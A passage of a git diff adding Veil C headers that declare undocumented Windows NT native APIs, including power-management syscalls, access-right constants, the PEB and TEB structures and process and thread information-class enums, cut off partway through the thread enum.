NTSYSCALLAPI +NTSTATUS +NTAPI +NtRequestWakeupLatency( + _In_ LATENCY_TIME latency +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRequestWakeupLatency( + _In_ LATENCY_TIME latency +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitiatePowerAction( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags, // POWER_ACTION_* flags + _In_ BOOLEAN Asynchronous +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwInitiatePowerAction( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags, // POWER_ACTION_* flags + _In_ BOOLEAN Asynchronous +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemPowerState( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags // POWER_ACTION_* flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSystemPowerState( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags // POWER_ACTION_* flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetDevicePowerState( + _In_ HANDLE Device, + _Out_ PDEVICE_POWER_STATE State +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetDevicePowerState( + _In_ HANDLE Device, + _Out_ PDEVICE_POWER_STATE State +); + +__kernel_entry NTSYSCALLAPI +BOOLEAN +NTAPI +NtIsSystemResumeAutomatic( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +ZwIsSystemResumeAutomatic( + VOID +); + + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Process.h b/include/Veil/Veil/Veil.System.Process.h new file mode 100644 index 0000000..6a93e80 --- /dev/null +++ b/include/Veil/Veil/Veil.System.Process.h @@ -0,0 +1,4035 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifdef _KERNEL_MODE +#define PROCESS_TERMINATE 0x0001 +#define PROCESS_CREATE_THREAD 0x0002 +#define PROCESS_SET_SESSIONID 0x0004 +#define PROCESS_VM_OPERATION 0x0008 +#define PROCESS_VM_READ 0x0010 +#define PROCESS_VM_WRITE 0x0020 +#define PROCESS_CREATE_PROCESS 0x0080 +#define PROCESS_SET_QUOTA 0x0100 +#define PROCESS_SET_INFORMATION 0x0200 +#define PROCESS_QUERY_INFORMATION 0x0400 +#define PROCESS_SET_PORT 0x0800 +#define PROCESS_SUSPEND_RESUME 0x0800 +#define PROCESS_QUERY_LIMITED_INFORMATION 0x1000 +#else +#ifndef PROCESS_SET_PORT +#define PROCESS_SET_PORT 0x0800 +#endif +#endif + +#ifdef _KERNEL_MODE +#define THREAD_QUERY_INFORMATION 0x0040 +#define THREAD_SET_THREAD_TOKEN 0x0080 +#define THREAD_IMPERSONATE 0x0100 +#define THREAD_DIRECT_IMPERSONATION 0x0200 +#else +#ifndef THREAD_ALERT +#define THREAD_ALERT 0x0004 +#endif +#endif + +#ifdef _KERNEL_MODE +#define JOB_OBJECT_ASSIGN_PROCESS 0x0001 +#define JOB_OBJECT_SET_ATTRIBUTES 0x0002 +#define JOB_OBJECT_QUERY 0x0004 +#define JOB_OBJECT_TERMINATE 0x0008 +#define JOB_OBJECT_SET_SECURITY_ATTRIBUTES 0x0010 +#define JOB_OBJECT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x3F) +#endif + +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#ifndef _WIN64 +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; + +#ifndef FLS_MAXIMUM_AVAILABLE +#define FLS_MAXIMUM_AVAILABLE 128 +#endif +#ifndef TLS_MINIMUM_AVAILABLE +#define TLS_MINIMUM_AVAILABLE 64 +#endif +#ifndef TLS_EXPANSION_SLOTS +#define TLS_EXPANSION_SLOTS 1024 +#endif + +// symbols +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _INITIAL_TEB +{ + struct + { + PVOID OldStackBase; + PVOID OldStackLimit; + } OldInitialTeb; + PVOID StackBase; + PVOID StackLimit; + PVOID StackAllocationBase; +} INITIAL_TEB, * PINITIAL_TEB; + +typedef struct _RTL_USER_PROCESS_PARAMETERS* PRTL_USER_PROCESS_PARAMETERS; +typedef struct _RTL_CRITICAL_SECTION* PRTL_CRITICAL_SECTION; + +// private +typedef struct _ACTIVATION_CONTEXT_STACK +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +// private +typedef struct _API_SET_NAMESPACE +{ + ULONG Version; + ULONG Size; + ULONG Flags; + ULONG Count; + ULONG EntryOffset; + ULONG HashOffset; + ULONG HashFactor; +} API_SET_NAMESPACE, * PAPI_SET_NAMESPACE; + +// private +typedef struct _API_SET_HASH_ENTRY +{ + ULONG Hash; + ULONG Index; +} API_SET_HASH_ENTRY, * PAPI_SET_HASH_ENTRY; + +// private +typedef struct _API_SET_NAMESPACE_ENTRY +{ + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG HashedLength; + ULONG ValueOffset; + ULONG ValueCount; +} API_SET_NAMESPACE_ENTRY, * PAPI_SET_NAMESPACE_ENTRY; + +// private +typedef struct _API_SET_VALUE_ENTRY +{ + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG ValueOffset; + ULONG ValueLength; +} API_SET_VALUE_ENTRY, * PAPI_SET_VALUE_ENTRY; + +// symbols +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN IsPackagedProcess : 1; + BOOLEAN IsAppContainer : 1; + BOOLEAN IsProtectedProcessLight : 1; + BOOLEAN IsLongPathAwareProcess : 1; + }; + }; + + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PSLIST_HEADER AtlThunkSListPtr; + PVOID IFEOKey; + + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ProcessPreviouslyThrottled : 1; + ULONG ProcessCurrentlyThrottled : 1; + ULONG ProcessImagesHotPatched : 1; // REDSTONE5 + ULONG ReservedBits0 : 24; + }; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved; + ULONG AtlThunkSListPtr32; + PAPI_SET_NAMESPACE ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + + PVOID ReadOnlySharedMemoryBase; + PVOID SharedData; // HotpatchInformation + PVOID* ReadOnlyStaticServerData; + + PVOID AnsiCodePageData; // PCPTABLEINFO + PVOID OemCodePageData; // PCPTABLEINFO + PVOID UnicodeCaseTableData; // PNLSTABLEINFO + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + ULARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID* ProcessHeaps; // PHEAP + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ActiveProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA + PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP + PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA + PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP + + SIZE_T MinimumStackCommit; + + PVOID SparePointers[4]; // 19H1 (previously FlsCallback to FlsHighIndex) + ULONG SpareUlongs[5]; // 19H1 + //PVOID* FlsCallback; + //LIST_ENTRY FlsListHead; + //PVOID FlsBitmap; + //ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + //ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + + union + { + PVOID pContextData; // WIN7 + PVOID pUnused; // WIN10 + PVOID EcCodeBitMap; // WIN11 + }; + + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG LibLoaderTracingEnabled : 1; + ULONG SpareTracingBits : 29; + }; + }; + ULONGLONG CsrServerReadOnlySharedMemoryBase; + PRTL_CRITICAL_SECTION TppWorkerpListLock; + LIST_ENTRY TppWorkerpList; + PVOID WaitOnAddressHashTable[128]; + PVOID TelemetryCoverageHeader; // REDSTONE3 + ULONG CloudFileFlags; + ULONG CloudFileDiagFlags; // REDSTONE4 + CHAR PlaceholderCompatibilityMode; + CHAR PlaceholderCompatibilityModeReserved[7]; + struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5 + union + { + ULONG LeapSecondFlags; + struct + { + ULONG SixtySecondEnabled : 1; + ULONG Reserved : 31; + }; + }; + ULONG NtGlobalFlag2; +} PEB, * PPEB; + +#ifdef _WIN64 +C_ASSERT(FIELD_OFFSET(PEB, SessionId) == 0x2C0); +//C_ASSERT(sizeof(PEB) == 0x7B0); // REDSTONE3 +//C_ASSERT(sizeof(PEB) == 0x7B8); // REDSTONE4 +C_ASSERT(sizeof(PEB) == 0x7C8); // REDSTONE5 // 19H1 +#else +C_ASSERT(FIELD_OFFSET(PEB, SessionId) == 0x1D4); +//C_ASSERT(sizeof(PEB) == 0x468); // REDSTONE3 +//C_ASSERT(sizeof(PEB) == 0x470); // REDSTONE4 +C_ASSERT(sizeof(PEB) == 0x480); // REDSTONE5 // 19H1 +#endif + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH +{ + ULONG Offset; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, * PGDI_TEB_BATCH; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; + +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID ReservedForDebuggerInstrumentation[16]; +#ifdef _WIN64 + PVOID SystemReserved1[30]; +#else + PVOID SystemReserved1[26]; +#endif + + CHAR PlaceholderCompatibilityMode; + BOOLEAN PlaceholderHydrationAlwaysExplicit; + CHAR PlaceholderReserved[10]; + + ULONG ProxiedProcessId; + ACTIVATION_CONTEXT_STACK ActivationStack; + + UCHAR WorkingOnBehalfTicket[8]; + NTSTATUS ExceptionCode; + + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + ULONG_PTR InstrumentationCallbackSp; + ULONG_PTR InstrumentationCallbackPreviousPc; + ULONG_PTR InstrumentationCallbackPreviousSp; +#ifdef _WIN64 + ULONG TxFsContext; +#endif + + BOOLEAN InstrumentationCallbackDisabled; +#ifdef _WIN64 + BOOLEAN UnalignedLoadStoreExceptions; +#endif +#ifndef _WIN64 + UCHAR SpareBytes[23]; + ULONG TxFsContext; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#ifdef _WIN64 + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID PerflibData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR ReservedForCodeCoverage; + PVOID ThreadPoolData; + PVOID* TlsExpansionSlots; +#ifdef _WIN64 + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapData; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SessionAware : 1; + USHORT LoadOwner : 1; + USHORT LoaderWorker : 1; + USHORT SkipLoaderInit : 1; + USHORT SkipFileAPIBrokering : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + LONG WowTebOffset; + PVOID ResourceRetValue; + PVOID ReservedForWdf; + ULONGLONG ReservedForCrt; + GUID EffectiveContainerId; + ULONGLONG LastSleepCounter; // Win11 + ULONG SpinCallCount; + ULONGLONG ExtendedFeatureDisableMask; +} TEB, * PTEB; + +typedef struct _WOW64_PROCESS +{ + PVOID Wow64; +} WOW64_PROCESS, * PWOW64_PROCESS; + +#ifndef _KERNEL_MODE +// +// Process Information Classes +// +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION + ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX + ProcessIoCounters, // q: IO_COUNTERS + ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2 + ProcessTimes, // q: KERNEL_USER_TIMES + ProcessBasePriority, // s: KPRIORITY + ProcessRaisePriority, // s: ULONG + ProcessDebugPort, // q: HANDLE + ProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT + ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN + ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10 + ProcessLdtSize, // s: PROCESS_LDT_SIZE + ProcessDefaultHardErrorMode, // qs: ULONG + ProcessIoPortHandlers, // (kernel-mode only) // PROCESS_IO_PORT_HANDLER_INFORMATION + ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS + ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void + ProcessUserModeIOPL, // qs: ULONG (requires SeTcbPrivilege) + ProcessEnableAlignmentFaultFixup, // s: BOOLEAN + ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS + ProcessWx86Information, // qs: ULONG (requires SeTcbPrivilege) (VdmAllowed) + ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20 + ProcessAffinityMask, // s: KAFFINITY + ProcessPriorityBoost, // qs: ULONG + ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX + ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION + ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND + ProcessWow64Information, // q: ULONG_PTR + ProcessImageFileName, // q: UNICODE_STRING + ProcessLUIDDeviceMapsEnabled, // q: ULONG + ProcessBreakOnTermination, // qs: ULONG + ProcessDebugObjectHandle, // q: HANDLE // 30 + ProcessDebugFlags, // qs: ULONG + ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables + ProcessIoPriority, // qs: IO_PRIORITY_HINT + ProcessExecuteFlags, // qs: ULONG + ProcessTlsInformation, // PROCESS_TLS_INFORMATION // ProcessResourceManagement + ProcessCookie, // q: ULONG + ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION + ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA + ProcessPagePriority, // q: PAGE_PRIORITY_INFORMATION + ProcessInstrumentationCallback, // s: PVOID or PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION // 40 + ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX + ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[] + ProcessImageFileNameWin32, // q: UNICODE_STRING + ProcessImageFileMapping, // q: HANDLE (input) + ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE + ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE + ProcessGroupInformation, // q: USHORT[] + ProcessTokenVirtualizationEnabled, // s: ULONG + ProcessConsoleHostProcess, // q: ULONG_PTR // ProcessOwnerInformation + ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50 + ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 + ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION + ProcessDynamicFunctionTableInformation, + ProcessHandleCheckingMode, // qs: ULONG; s: 0 disables, otherwise enables + ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION + ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION + ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL + ProcessHandleTable, // q: ULONG[] // since WINBLUE + ProcessCheckStackExtentsMode, // qs: ULONG // KPROCESS->CheckStackExtents (CFG) + ProcessCommandLineInformation, // q: UNICODE_STRING // 60 + ProcessProtectionInformation, // q: PS_PROTECTION + ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD + ProcessFaultInformation, // PROCESS_FAULT_INFORMATION + ProcessTelemetryIdInformation, // q: PROCESS_TELEMETRY_ID_INFORMATION + ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION + ProcessDefaultCpuSetsInformation, + ProcessAllowedCpuSetsInformation, + ProcessSubsystemProcess, + ProcessJobMemoryInformation, // q: PROCESS_JOB_MEMORY_INFO + ProcessInPrivate, // s: void // ETW // since THRESHOLD2 // 70 + ProcessRaiseUMExceptionOnInvalidHandleClose, // qs: ULONG; s: 0 disables, otherwise enables + ProcessIumChallengeResponse, + ProcessChildProcessInformation, // q: PROCESS_CHILD_PROCESS_INFORMATION + ProcessHighGraphicsPriorityInformation, // qs: BOOLEAN (requires SeTcbPrivilege) + ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2 + ProcessEnergyValues, // q: PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES + ProcessPowerThrottlingState, // qs: POWER_THROTTLING_PROCESS_STATE + ProcessReserved3Information, // ProcessActivityThrottlePolicy // PROCESS_ACTIVITY_THROTTLE_POLICY + ProcessWin32kSyscallFilterInformation, // q: WIN32K_SYSCALL_FILTER + ProcessDisableSystemAllowedCpuSets, // 80 + ProcessWakeInformation, // PROCESS_WAKE_INFORMATION + ProcessEnergyTrackingState, // PROCESS_ENERGY_TRACKING_STATE + ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3 + ProcessCaptureTrustletLiveDump, + ProcessTelemetryCoverage, + ProcessEnclaveInformation, + ProcessEnableReadWriteVmLogging, // PROCESS_READWRITEVM_LOGGING_INFORMATION + ProcessUptimeInformation, // q: PROCESS_UPTIME_INFORMATION + ProcessImageSection, // q: HANDLE + ProcessDebugAuthInformation, // since REDSTONE4 // 90 + ProcessSystemResourceManagement, // PROCESS_SYSTEM_RESOURCE_MANAGEMENT + ProcessSequenceNumber, // q: ULONGLONG + ProcessLoaderDetour, // since REDSTONE5 + ProcessSecurityDomainInformation, // PROCESS_SECURITY_DOMAIN_INFORMATION + ProcessCombineSecurityDomainsInformation, // PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION + ProcessEnableLogging, // PROCESS_LOGGING_INFORMATION + ProcessLeapSecondInformation, // PROCESS_LEAP_SECOND_INFORMATION + ProcessFiberShadowStackAllocation, // PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION // since 19H1 + ProcessFreeFiberShadowStackAllocation, // PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION + ProcessAltSystemCallInformation, // qs: BOOLEAN (kernel-mode only) // INT2E // since 20H1 // 100 + ProcessDynamicEHContinuationTargets, // PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION + ProcessDynamicEnforcedCetCompatibleRanges, // PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE_INFORMATION // since 20H2 + ProcessCreateStateChange, // since WIN11 + ProcessApplyStateChange, + ProcessEnableOptionalXStateFeatures, + ProcessAltPrefetchParam, // since 22H1 + ProcessAssignCpuPartitions, + ProcessPriorityClassEx, + ProcessMembershipInformation, + ProcessEffectiveIoPriority, + ProcessEffectivePagePriority, + MaxProcessInfoClass +} PROCESSINFOCLASS; + +// +// Thread Information Classes +// + +typedef enum _THREADINFOCLASS +{ + ThreadBasicInformation, // q: THREAD_BASIC_INFORMATION + ThreadTimes, // q: KERNEL_USER_TIMES + ThreadPriority, // s: KPRIORITY (requires SeIncreaseBasePriorityPrivilege) + ThreadBasePriority, // s: LONG + ThreadAffinityMask, // s: KAFFINITY + ThreadImpersonationToken, // s: HANDLE + ThreadDescriptorTableEntry, // q: DESCRIPTOR_TABLE_ENTRY (or WOW64_DESCRIPTOR_TABLE_ENTRY) + ThreadEnableAlignmentFaultFixup, // s: BOOLEAN + ThreadEventPair, + ThreadQuerySetWin32StartAddress, // q: ULONG_PTR + ThreadZeroTlsCell, // s: ULONG // TlsIndex // 10 + ThreadPerformanceCount, // q: LARGE_INTEGER + ThreadAmILastThread, // q: ULONG + ThreadIdealProcessor, // s: ULONG + ThreadPriorityBoost, // qs: ULONG + ThreadSetTlsArrayAddress, // s: ULONG_PTR + ThreadIsIoPending, // q: ULONG + ThreadHideFromDebugger, // q: BOOLEAN; s: void + ThreadBreakOnTermination, // qs: ULONG + ThreadSwitchLegacyState, // s: void // NtCurrentThread // NPX/FPU + ThreadIsTerminated, // q: ULONG // 20 + ThreadLastSystemCall, // q: THREAD_LAST_SYSCALL_INFORMATION + ThreadIoPriority, // qs: IO_PRIORITY_HINT (requires SeIncreaseBasePriorityPrivilege) + ThreadCycleTime, // q: THREAD_CYCLE_TIME_INFORMATION + ThreadPagePriority, // q: ULONG + ThreadActualBasePriority, // s: LONG (requires SeIncreaseBasePriorityPrivilege) + ThreadTebInformation, // q: THREAD_TEB_INFORMATION (requires THREAD_GET_CONTEXT + THREAD_SET_CONTEXT) + ThreadCSwitchMon, + ThreadCSwitchPmu, + ThreadWow64Context, // qs: WOW64_CONTEXT + ThreadGroupInformation, // q: GROUP_AFFINITY // 30 + ThreadUmsInformation, // q: THREAD_UMS_INFORMATION + ThreadCounterProfiling, // q: BOOLEAN; s: THREAD_PROFILING_INFORMATION? + ThreadIdealProcessorEx, // q: PROCESSOR_NUMBER + ThreadCpuAccountingInformation, // q: BOOLEAN; s: HANDLE (NtOpenSession) // NtCurrentThread // since WIN8 + ThreadSuspendCount, // q: ULONG // since WINBLUE + ThreadHeterogeneousCpuPolicy, // q: KHETERO_CPU_POLICY // since THRESHOLD + ThreadContainerId, // q: GUID + ThreadNameInformation, // qs: THREAD_NAME_INFORMATION + ThreadSelectedCpuSets, + ThreadSystemThreadInformation, // q: SYSTEM_THREAD_INFORMATION // 40 + ThreadActualGroupAffinity, // q: GROUP_AFFINITY // since THRESHOLD2 + ThreadDynamicCodePolicyInfo, // q: ULONG; s: ULONG (NtCurrentThread) + ThreadExplicitCaseSensitivity, // qs: ULONG; s: 0 disables, otherwise enables + ThreadWorkOnBehalfTicket, // RTL_WORK_ON_BEHALF_TICKET_EX + ThreadSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2 + ThreadDbgkWerReportActive, // s: ULONG; s: 0 disables, otherwise enables + ThreadAttachContainer, // s: HANDLE (job object) // NtCurrentThread + ThreadManageWritesToExecutableMemory, // 